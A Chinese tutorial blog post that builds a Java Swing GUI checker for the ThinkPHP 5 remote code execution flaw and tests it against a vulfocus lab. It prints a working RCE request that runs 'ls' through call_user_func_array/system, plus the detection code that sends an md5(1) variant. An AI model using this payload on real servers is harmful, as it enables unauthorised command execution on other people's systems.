大家好又是俺,暗月大徒弟,跟暗月大师傅苦学了半年,保持天天学习,顺便做点记录什么的。最近跟着月师傅学习了java编写exp的知识,写了一些简单的http请求脚本,但觉得不怎么好使,写成gui界面操作比较方便一些,随手学习了swing开发,弄个简单安全测试工具。
1界面设计
先上代码 代码里面有注释
package exp;
import javax.swing.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;public class demo2 {
public static void main(String[] args) throws Exception{
//设置和创建窗体 填写标题
JFrame frame = new JFrame("暗月大徒弟 thinkphp5 rce 师承暗月");
//设置位置和大小
frame.setBounds(500,500,500,500);//清空布局管理器
frame.setLayout(null);
//创建按钮
JButton button = new JButton("确定");
//创建文本
JTextField jTextField = new JTextField();
//创建文本域
JTextArea jTextArea = new JTextArea();
//设置自动换行
jTextArea.setLineWrap(true);
//设置位置大小
jTextArea.setBounds(10,100,440,320);
button.setBounds(350,10,100,50);
//创建网址标签
JLabel jLabel = new JLabel("网址:");
//创建信息标签
JLabel mJlbel = new JLabel("信息:");
//各个标签的位置
jLabel.setBounds(10,10,150,50);
mJlbel.setBounds(10,50,150,50);
jTextField.setBounds(80,10,270,50);
//将组件全部添加到框体内
frame.add(button);
frame.add(jTextField);
frame.add(jLabel);
frame.add(mJlbel);
frame.add(jTextArea);
// frame.setSize(500,450);
frame.setVisible(true);//设置可视化
//设置窗体关闭时,自动退出程序
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
//设置按钮监听事件 单击时候操
button.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
String text = jTextField.getText(); //获取文本内容
jTextArea.setText("");
try {
jTextArea.setText(HttpGet(text)); //将http求得结果添加到文本域内
} catch (Exception ex) {
ex.printStackTrace();
}}
});}
public static String HttpGet(String url) throws Exception{
String content=null;
return content;
}
}
main主函数 里面创建窗体和创建按钮 文本框、文本域 、标签、和按钮等组件的创建和布局。编译如图
逐渐有那个味道了。接着将exploit这个函数里面的功能实现即可。这里选择thinphp5的rce漏洞作为测试对象。
2测试过程
首先在pom.xml 添加 http-request
<dependency>
<groupId>com.github.kevinsawicki</groupId>
<artifactId>http-request</artifactId>
<version>5.6</version>
</dependency>
使用vulfoucs创建一个漏洞场景再进行漏洞语句测试 存在漏洞
http://192.168.0.100:53705/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
上最终代码
package exp;import com.github.kevinsawicki.http.HttpRequest;
import javax.swing.*;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;public class demo2 {
public static void main(String[] args) throws Exception{
//设置和创建窗体 填写标题
JFrame frame = new JFrame("暗月大徒弟 thinkphp5 rce 师承暗月");
//设置位置和大小
frame.setBounds(500,500,500,500);//清空布局管理器
frame.setLayout(null);
//创建按钮
JButton button = new JButton("确定");
//创建文本
JTextField jTextField = new JTextField();
//创建文本域
JTextArea jTextArea = new JTextArea();
//设置自动换行
jTextArea.setLineWrap(true);
//设置位置大小
jTextArea.setBounds(10,100,440,320);
button.setBounds(350,10,100,50);
//创建网址标签
JLabel jLabel = new JLabel("网址:");
//创建信息标签
JLabel mJlbel = new JLabel("信息:");
//各个标签的位置
jLabel.setBounds(10,10,150,50);
mJlbel.setBounds(10,50,150,50);
jTextField.setBounds(80,10,270,50);
//将组件全部添加到框体内
frame.add(button);
frame.add(jTextField);
frame.add(jLabel);
frame.add(mJlbel);
frame.add(jTextArea);
// frame.setSize(500,450);
frame.setVisible(true);//设置可视化
//设置窗体关闭时,自动退出程序
frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
//设置按钮监听事件 单击时候操
button.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
String text = jTextField.getText(); //获取文本内容
jTextArea.setText("");
try {
jTextArea.setText(result(text)); //将http求得结果添加到文本域内
} catch (Exception ex) {
ex.printStackTrace();
}}
});}
public static String result(String url){
String payload = "/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=1";
try {
if (vulTest(url,payload)==true){
return "存在漏洞 \n"+"测试语句: "+payload;
}
} catch (Exception e) {
e.printStackTrace();
}
return "不存在漏洞";
}public static Boolean vulTest(String url,String payload) throws Exception{
String checkstr = "c4ca4238a0b923820dcc509a6f75849b"; //md5 检测值
HttpRequest req = HttpRequest.get(url+payload);
if( req.body().contains(checkstr)){
return true;}
return false;
}
}
代码看起来 很简单 就是一个url请求 响应过来的网页是否存在md5(1)的值 c4ca4238a0b923820dcc509a6f75849b 如果存在则存在漏洞。在把结果返回在文本域中。
如图
3打包jar
选择项目 -> 工件 ->从模块创建jar
选择resources这个路径
改个好听的名
构建工件即可
copy一个新的jar包 再进行测试 完全毛病
这样一个简单的可视化exp完成了(轻松的很)。下一篇写可视化exp批量小工具 欢迎关注。
最后要下载软件 在公众号回复 月师傅牛逼 下载此工具
4关注公众号
长期更新渗透测试、WEB安全、代码审计、红蓝对抗等安全技术